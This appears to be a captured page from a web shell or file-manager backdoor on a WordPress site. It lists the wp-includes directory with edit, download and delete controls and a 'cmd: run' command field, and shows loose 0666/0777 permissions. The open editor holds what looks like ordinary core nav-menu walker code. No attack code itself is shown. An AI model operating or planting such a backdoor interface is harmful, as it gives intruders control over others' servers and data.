/
home
/
techb158
/
public_html
/
wp-includes
/
/home/techb158/public_html/wp-includes
mkdir
upload
Name
Size
Mode
Actions
abilities-api/
-
0755
rm
ai-client/
-
0755
rm
assets/
-
0777
rm
block-bindings/
-
0755
rm
block-patterns/
-
0777
rm
block-supports/
-
0777
rm
blocks/
-
0777
rm
build/
-
0755
rm
certificates/
-
0777
rm
css/
-
0777
rm
customize/
-
0777
rm
fonts/
-
0777
rm
html-api/
-
0755
rm
ID3/
-
0777
rm
images/
-
0777
rm
interactivity-api/
-
0755
rm
IXR/
-
0777
rm
js/
-
0777
rm
l10n/
-
0755
rm
php-ai-client/
-
0755
rm
php-compat/
-
0777
rm
PHPMailer/
-
0777
rm
pomo/
-
0777
rm
Requests/
-
0777
rm
rest-api/
-
0777
rm
SimplePie/
-
0777
rm
sitemaps/
-
0777
rm
sodium_compat/
-
0777
rm
style-engine/
-
0777
rm
Text/
-
0777
rm
theme-compat/
-
0777
rm
widgets/
-
0777
rm
.htaccess
178
0644
edit
dl
rm
abilities-api.php
32800
0666
edit
dl
rm
abilities.php
11797
0666
edit
dl
rm
admin-bar.php
40067
0666
edit
dl
rm
ai-client.php
2549
0666
edit
dl
rm
atomlib.php
12181
0666
edit
dl
rm
author-template.php
19844
0666
edit
dl
rm
block-bindings.php
7632
0666
edit
dl
rm
block-editor.php
28724
0666
edit
dl
rm
block-i18n.json
316
0666
edit
dl
rm
block-patterns.php
15606
0666
edit
dl
rm
block-template-utils.php
63168
0666
edit
dl
rm
block-template.php
18257
0666
edit
dl
rm
blocks.php
124205
0666
edit
dl
rm
bookmark-template.php
12768
0666
edit
dl
rm
bookmark.php
15427
0666
edit
dl
rm
cache-compat.php
11021
0666
edit
dl
rm
cache.php
13486
0666
edit
dl
rm
canonical.php
34786
0666
edit
dl
rm
capabilities.php
43584
0666
edit
dl
rm
category-template.php
56990
0666
edit
dl
rm
category.php
12834
0666
edit
dl
rm
class-avif-info.php
30008
0666
edit
dl
rm
class-feed.php
539
0666
edit
dl
rm
class-http.php
367
0666
edit
dl
rm
class-IXR.php
2609
0666
edit
dl
rm
class-json.php
43676
0666
edit
dl
rm
class-oembed.php
401
0666
edit
dl
rm
class-phpass.php
6771
0666
edit
dl
rm
class-phpmailer.php
664
0666
edit
dl
rm
class-pop3.php
21100
0666
edit
dl
rm
class-requests.php
2237
0666
edit
dl
rm
class-simplepie.php
453
0666
edit
dl
rm
class-smtp.php
457
0666
edit
dl
rm
class-snoopy.php
37715
0666
edit
dl
rm
class-walker-category-dropdown.php
2469
0666
edit
dl
rm
class-walker-category.php
8477
0666
edit
dl
rm
class-walker-comment.php
14221
0666
edit
dl
rm
class-walker-nav-menu.php
12044
0666
edit
dl
rm
class-walker-page-dropdown.php
2710
0666
edit
dl
rm
class-walker-page.php
7612
0666
edit
dl
rm
class-wp-admin-bar.php
18002
0666
edit
dl
rm
class-wp-ajax-response.php
5288
0666
edit
dl
rm
class-wp-application-passwords.php
17099
0666
edit
dl
rm
class-wp-block-bindings-registry.php
8263
0666
edit
dl
rm
class-wp-block-bindings-source.php
2992
0666
edit
dl
rm
class-wp-block-editor-context.php
1350
0666
edit
dl
rm
class-wp-block-list.php
4713
0666
edit
dl
rm
class-wp-block-metadata-registry.php
11846
0666
edit
dl
rm
class-wp-block-parser-block.php
2555
0666
edit
dl
rm
class-wp-block-parser-frame.php
1994
0666
edit
dl
rm
class-wp-block-parser.php
11525
0666
edit
dl
rm
class-wp-block-pattern-categories-registry.php
4383
0666
edit
dl
rm
class-wp-block-patterns-registry.php
10265
0666
edit
dl
rm
class-wp-block-processor.php
69914
0666
edit
dl
rm
class-wp-block-styles-registry.php
6419
0666
edit
dl
rm
class-wp-block-supports.php
7578
0666
edit
dl
rm
class-wp-block-template.php
2111
0666
edit
dl
rm
class-wp-block-templates-registry.php
7080
0666
edit
dl
rm
class-wp-block-type-registry.php
5305
0666
edit
dl
rm
class-wp-block-type.php
17222
0666
edit
dl
rm
class-wp-block.php
28236
0666
edit
dl
rm
class-wp-classic-to-block-menu-converter.php
4026
0666
edit
dl
rm
class-wp-comment-query.php
49040
0666
edit
dl
rm
class-wp-comment.php
17249
0666
edit
dl
rm
class-wp-connector-registry.php
15181
0666
edit
dl
rm
class-wp-customize-control.php
26112
0666
edit
dl
rm
class-wp-customize-manager.php
202908
0666
edit
dl
rm
class-wp-customize-nav-menus.php
58034
0666
edit
dl
rm
class-wp-customize-panel.php
10703
0666
edit
dl
rm
class-wp-customize-section.php
11209
0666
edit
dl
rm
class-wp-customize-setting.php
29956
0666
edit
dl
rm
class-wp-customize-widgets.php
72596
0666
edit
dl
rm
class-wp-date-query.php
35970
0666
edit
dl
rm
class-wp-dependencies.php
17089
0666
edit
dl
rm
class-wp-dependency.php
2653
0666
edit
dl
rm
class-wp-duotone.php
40836
0666
edit
dl
rm
class-wp-editor.php
72228
0666
edit
dl
rm
class-wp-embed.php
15908
0666
edit
dl
rm
class-wp-error.php
7514
0666
edit
dl
rm
class-wp-exception.php
253
0666
edit
dl
rm
class-wp-fatal-error-handler.php
8150
0666
edit
dl
rm
class-wp-feed-cache-transient.php
3304
0666
edit
dl
rm
class-wp-feed-cache.php
969
0666
edit
dl
rm
class-wp-filter-sentinel.php
760
0666
edit
dl
rm
class-wp-hook.php
17472
0666
edit
dl
rm
class-wp-http-cookie.php
7269
0666
edit
dl
rm
class-wp-http-curl.php
13261
0666
edit
dl
rm
class-wp-http-encoding.php
6689
0666
edit
dl
rm
class-wp-http-ixr-client.php
3516
0666
edit
dl
rm
class-wp-http-proxy.php
5980
0666
edit
dl
rm
class-wp-http-requests-hooks.php
2022
0666
edit
dl
rm
class-wp-http-requests-response.php
4243
0666
edit
dl
rm
class-wp-http-response.php
2977
0666
edit
dl
rm
class-wp-http-streams.php
16764
0666
edit
dl
rm
class-wp-http.php
41641
0666
edit
dl
rm
class-wp-icon-collections-registry.php
5805
0666
edit
dl
rm
class-wp-icons-registry.php
9903
0666
edit
dl
rm
class-wp-image-editor-gd.php
20741
0666
edit
dl
rm
class-wp-image-editor-imagick.php
43454
0666
edit
dl
rm
class-wp-image-editor.php
17456
0666
edit
dl
rm
class-wp-list-util.php
7443
0666
edit
dl
rm
class-wp-locale-switcher.php
6776
0666
edit
dl
rm
class-wp-locale.php
16848
0666
edit
dl
rm
class-wp-matchesmapregex.php
1828
0666
edit
dl
rm
class-wp-meta-query.php
30507
0666
edit
dl
rm
class-wp-metadata-lazyloader.php
6833
0666
edit
dl
rm
class-wp-navigation-fallback.php
9193
0666
edit
dl
rm
class-wp-network-query.php
19989
0666
edit
dl
rm
class-wp-network.php
12411
0666
edit
dl
rm
class-wp-object-cache.php
17524
0666
edit
dl
rm
class-wp-oembed-controller.php
6905
0666
edit
dl
rm
class-wp-oembed.php
34372
0666
edit
dl
rm
class-wp-paused-extensions-storage.php
5067
0666
edit
dl
rm
class-wp-phpmailer.php
4348
0666
edit
dl
rm
class-wp-plugin-dependencies.php
25209
0666
edit
dl
rm
class-wp-post-type.php
30672
0666
edit
dl
rm
class-wp-post.php
8806
0666
edit
dl
rm
class-wp-query.php
164148
0666
edit
dl
rm
class-wp-recovery-mode-cookie-service.php
6877
0666
edit
dl
rm
class-wp-recovery-mode-email-service.php
11162
0666
edit
dl
rm
class-wp-recovery-mode-key-service.php
4914
0666
edit
dl
rm
class-wp-recovery-mode-link-service.php
3523
0666
edit
dl
rm
class-wp-recovery-mode.php
11460
0666
edit
dl
rm
class-wp-rewrite.php
63693
0666
edit
dl
rm
class-wp-role.php
2523
0666
edit
dl
rm
class-wp-roles.php
9326
0666
edit
dl
rm
class-wp-script-modules.php
40743
0666
edit
dl
rm
class-wp-scripts.php
36754
0666
edit
dl
rm
class-wp-session-tokens.php
7319
0666
edit
dl
rm
class-wp-simplepie-file.php
3552
0666
edit
dl
rm
class-wp-simplepie-sanitize-kses.php
1903
0666
edit
dl
rm
class-wp-site-query.php
31482
0666
edit
dl
rm
class-wp-site.php
7836
0666
edit
dl
rm
class-wp-speculation-rules.php
7884
0666
edit
dl
rm
class-wp-styles.php
13316
0666
edit
dl
rm
class-wp-tax-query.php
19577
0666
edit
dl
rm
class-wp-taxonomy.php
18559
0666
edit
dl
rm
class-wp-term-query.php
40751
0666
edit
dl
rm
class-wp-term.php
5263
0666
edit
dl
rm
class-wp-text-diff-renderer-inline.php
979
0666
edit
dl
rm
class-wp-text-diff-renderer-table.php
18925
0666
edit
dl
rm
class-wp-textdomain-registry.php
10481
0666
edit
dl
rm
class-wp-theme-json-data.php
1805
0666
edit
dl
rm
class-wp-theme-json-resolver.php
35692
0666
edit
dl
rm
class-wp-theme-json-schema.php
7367
0666
edit
dl
rm
class-wp-theme-json.php
221506
0666
edit
dl
rm
class-wp-theme.php
65811
0666
edit
dl
rm
class-wp-token-map.php
29032
0666
edit
dl
rm
class-wp-url-pattern-prefixer.php
4802
0666
edit
dl
rm
class-wp-user-meta-session-tokens.php
2954
0666
edit
dl
rm
class-wp-user-query.php
44102
0666
edit
dl
rm
class-wp-user-request.php
2342
0666
edit
dl
rm
class-wp-user.php
23189
0666
edit
dl
rm
class-wp-view-config-data.php
29427
0666
edit
dl
rm
class-wp-walker.php
13292
0666
edit
dl
rm
class-wp-widget-factory.php
3343
0666
edit
dl
rm
class-wp-widget.php
19129
0644
edit
dl
rm
class-wp-xmlrpc-server.php
216272
0666
edit
dl
rm
class-wp.php
26371
0666
edit
dl
rm
class-wpdb.php
121437
0666
edit
dl
rm
class.wp-dependencies.php
373
0666
edit
dl
rm
class.wp-scripts.php
343
0666
edit
dl
rm
class.wp-styles.php
338
0666
edit
dl
rm
comment-template.php
103211
0666
edit
dl
rm
comment.php
150630
0666
edit
dl
rm
compat-utf8.php
19386
0666
edit
dl
rm
compat.php
23105
0644
edit
dl
rm
connectors.php
32922
0666
edit
dl
rm
cron.php
46266
0666
edit
dl
rm
date.php
400
0666
edit
dl
rm
default-constants.php
11365
0666
edit
dl
rm
default-filters.php
39500
0666
edit
dl
rm
default-widgets.php
2288
0666
edit
dl
rm
deprecated.php
193977
0666
edit
dl
rm
embed-template.php
338
0666
edit
dl
rm
embed.php
39215
0666
edit
dl
rm
error-protection.php
4092
0666
edit
dl
rm
feed-atom-comments.php
5504
0666
edit
dl
rm
feed-atom.php
3114
0666
edit
dl
rm
feed-rdf.php
2668
0666
edit
dl
rm
feed-rss.php
1189
0666
edit
dl
rm
feed-rss2-comments.php
4136
0666
edit
dl
rm
feed-rss2.php
3799
0666
edit
dl
rm
feed.php
25189
0666
edit
dl
rm
fonts.php
9789
0666
edit
dl
rm
formatting.php
357652
0666
edit
dl
rm
functions.php
295481
0666
edit
dl
rm
functions.wp-scripts.php
20492
0666
edit
dl
rm
functions.wp-styles.php
8654
0666
edit
dl
rm
general-template.php
183472
0666
edit
dl
rm
global-styles-and-settings.php
20780
0666
edit
dl
rm
http.php
28961
0666
edit
dl
rm
https-detection.php
5857
0666
edit
dl
rm
https-migration.php
4741
0666
edit
dl
rm
icons.php
6334
0666
edit
dl
rm
index.php
1088
0444
edit
dl
rm
json-schema.php
7802
0666
edit
dl
rm
kses.php
88497
0666
edit
dl
rm
kwa.txt
1
0644
edit
dl
rm
l10n.php
71415
0666
edit
dl
rm
link-template.php
160143
0666
edit
dl
rm
load.php
57148
0644
edit
dl
rm
locale.php
162
0666
edit
dl
rm
media-template.php
65759
0666
edit
dl
rm
media.php
236804
0666
edit
dl
rm
meta.php
66739
0666
edit
dl
rm
ms-blogs.php
26324
0666
edit
dl
rm
ms-default-constants.php
4921
0666
edit
dl
rm
ms-default-filters.php
6636
0666
edit
dl
rm
ms-deprecated.php
21787
0666
edit
dl
rm
ms-files.php
2857
0666
edit
dl
rm
ms-functions.php
93258
0644
edit
dl
rm
ms-load.php
20055
0666
edit
dl
rm
ms-network.php
3782
0666
edit
dl
rm
ms-settings.php
4197
0666
edit
dl
rm
ms-site.php
41729
0666
edit
dl
rm
nav-menu-template.php
25983
0666
edit
dl
rm
nav-menu.php
44269
0666
edit
dl
rm
option.php
105246
0666
edit
dl
rm
pluggable-deprecated.php
6324
0666
edit
dl
rm
pluggable.php
127919
0666
edit
dl
rm
plugin.php
39110
0644
edit
dl
rm
post-formats.php
7070
0666
edit
dl
rm
post-template.php
69129
0666
edit
dl
rm
post-thumbnail-template.php
10879
0666
edit
dl
rm
post.php
305215
0666
edit
dl
rm
query.php
37554
0666
edit
dl
rm
registration-functions.php
200
0666
edit
dl
rm
registration.php
200
0666
edit
dl
rm
rest-api.php
102951
0666
edit
dl
rm
revision.php
31241
0666
edit
dl
rm
rewrite.php
19567
0666
edit
dl
rm
robots-template.php
5185
0666
edit
dl
rm
rss-functions.php
277
0666
edit
dl
rm
rss.php
23203
0666
edit
dl
rm
script-loader.php
163550
0666
edit
dl
rm
script-modules.php
12311
0666
edit
dl
rm
session.php
258
0666
edit
dl
rm
shortcodes.php
24034
0666
edit
dl
rm
sitemaps.php
3238
0666
edit
dl
rm
speculative-loading.php
11880
0666
edit
dl
rm
spl-autoload-compat.php
441
0666
edit
dl
rm
style-engine.php
8045
0666
edit
dl
rm
taxonomy.php
178307
0666
edit
dl
rm
template-canvas.php
544
0666
edit
dl
rm
template-loader.php
4267
0666
edit
dl
rm
template.php
36824
0666
edit
dl
rm
theme-i18n.json
1892
0666
edit
dl
rm
theme-previews.php
2887
0666
edit
dl
rm
theme-templates.php
4060
0666
edit
dl
rm
theme.json
9480
0666
edit
dl
rm
theme.php
134641
0666
edit
dl
rm
update.php
38269
0666
edit
dl
rm
user.php
180301
0666
edit
dl
rm
utf8.php
6977
0666
edit
dl
rm
vars.php
6600
0666
edit
dl
rm
version.php
1809
0644
edit
dl
rm
view-config.php
19087
0666
edit
dl
rm
view-transitions.php
602
0666
edit
dl
rm
widgets.php
70866
0666
edit
dl
rm
wp-db.php
445
0666
edit
dl
rm
wp-diff.php
792
0666
edit
dl
rm
Edit:
/home/techb158/public_html/wp-includes/class-walker-nav-menu.php
(12044B)
<?php /** * Nav Menu API: Walker_Nav_Menu class * * @package WordPress * @subpackage Nav_Menus * @since 4.6.0 */ /** * Core class used to implement an HTML list of nav menu items. * * @since 3.0.0 * * @see Walker */ class Walker_Nav_Menu extends Walker { /** * What the class handles. * * @since 3.0.0 * @var string * * @see Walker::$tree_type */ public $tree_type = array( 'post_type', 'taxonomy', 'custom' ); /** * Database fields to use. * * @since 3.0.0 * @todo Decouple this. * @var string[] * * @see Walker::$db_fields */ public $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id', ); /** * The URL to the privacy policy page. * * @since 6.8.0 * @var string */ private $privacy_policy_url; /** * Constructor. * * @since 6.8.0 */ public function __construct() { $this->privacy_policy_url = get_privacy_policy_url(); } /** * Starts the list before the elements are added. * * @since 3.0.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function start_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); // Default class. $classes = array( 'sub-menu' ); /** * Filters the CSS class(es) applied to a menu list element. * * @since 4.8.0 * * @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element. * @param stdClass $args An object of `wp_nav_menu()` arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) ); $atts = array(); $atts['class'] = ! empty( $class_names ) ? $class_names : ''; /** * Filters the HTML attributes applied to a menu list element. * * @since 6.3.0 * * @param array $atts { * The HTML attributes applied to the `<ul>` element, empty strings are ignored. * * @type string $class HTML CSS class attribute. * } * @param stdClass $args An object of `wp_nav_menu()` arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth ); $attributes = $this->build_atts( $atts ); $output .= "{$n}{$indent}<ul{$attributes}>{$n}"; } /** * Ends the list of after the elements are added. * * @since 3.0.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); $output .= "$indent</ul>{$n}"; } /** * Starts the element output. * * @since 3.0.0 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added. * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * @since 6.7.0 Removed redundant title attributes. * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $data_object Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $current_object_id Optional. ID of the current menu item. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $menu_item = $data_object; if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = ( $depth ) ? str_repeat( $t, $depth ) : ''; $classes = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes; $classes[] = 'menu-item-' . $menu_item->ID; /** * Filters the arguments for a single nav menu item. * * @since 4.4.0 * * @param stdClass $args An object of wp_nav_menu() arguments. * @param WP_Post $menu_item Menu item data object. * @param int $depth Depth of menu item. Used for padding. */ $args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth ); /** * Filters the CSS classes applied to a menu item's list item element. * * @since 3.0.0 * @since 4.1.0 The `$depth` parameter was added. * * @param string[] $classes Array of the CSS classes that are applied to the menu item's `<li>` element. * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) ); /** * Filters the ID attribute applied to a menu item's list item element. * * @since 3.0.1 * @since 4.1.0 The `$depth` parameter was added. * * @param string $menu_item_id The ID attribute applied to the menu item's `<li>` element. * @param WP_Post $menu_item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth ); $li_atts = array(); $li_atts['id'] = ! empty( $id ) ? $id : ''; $li_atts['class'] = ! empty( $class_names ) ? $class_names : ''; /** * Filters the HTML attributes applied to a menu's list item element. * * @since 6.3.0 * * @param array $li_atts { * The HTML attributes applied to the menu item's `<li>` element, empty strings are ignored. * * @type string $class HTML CSS class attribute. * @type string $id HTML id attribute. * } * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $li_atts = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth ); $li_attributes = $this->build_atts( $li_atts ); $output .= $indent . '<li' . $li_attributes . '>'; /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID ); // Save filtered value before filtering again. $the_title_filtered = $title; /** * Filters a menu item's title. * * @since 4.4.0 * * @param string $title The menu item's title. * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth ); $atts = array(); $atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : ''; $atts['rel'] = ! empty( $menu_item->xfn ) ? $menu_item->xfn : ''; if ( ! empty( $menu_item->url ) ) { if ( $this->privacy_policy_url === $menu_item->url ) { $atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy'; } $atts['href'] = $menu_item->url; } else { $atts['href'] = ''; } $atts['aria-current'] = $menu_item->current ? 'page' : ''; // Add title attribute only if it does not match the link text (before or after filtering). if ( ! empty( $menu_item->attr_title ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $menu_item->title ) ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $the_title_filtered ) ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $title ) ) ) { $atts['title'] = $menu_item->attr_title; } else { $atts['title'] = ''; } /** * Filters the HTML attributes applied to a menu item's anchor element. * * @since 3.6.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $atts { * The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored. * * @type string $title Title attribute. * @type string $target Target attribute. * @type string $rel The rel attribute. * @type string $href The href attribute. * @type string $aria-current The aria-current attribute. * } * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth ); $attributes = $this->build_atts( $atts ); $item_output = $args->before; $item_output .= '<a' . $attributes . '>'; $item_output .= $args->link_before . $title . $args->link_after; $item_output .= '</a>'; $item_output .= $args->after; /** * Filters a menu item's starting output. * * The menu item's starting output only includes `$args->before`, the opening `<a>`, * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is * no filter for modifying the opening and closing `<li>` for a menu item. * * @since 3.0.0 * * @param string $item_output The menu item's starting HTML output. * @param WP_Post $menu_item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args ); } /** * Ends the element output, if needed. * * @since 3.0.0 * @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support. * * @see Walker::end_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $data_object Menu item data object. Not used. * @param int $depth Depth of page. Not Used. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_el( &$output, $data_object, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $output .= "</li>{$n}"; } /** * Builds a string of HTML attributes from an array of key/value pairs. * Empty values are ignored. * * @since 6.3.0 * * @param array $atts Optional. An array of HTML attribute key/value pairs. Default empty array. * @return string A string of HTML attributes. */ protected function build_atts( $atts = array() ) { $attribute_string = ''; foreach ( $atts as $attr => $value ) { if ( false !== $value && '' !== $value && is_scalar( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attribute_string .= ' ' . $attr . '="' . $value . '"'; } } return $attribute_string; } }
Save
cmd:
run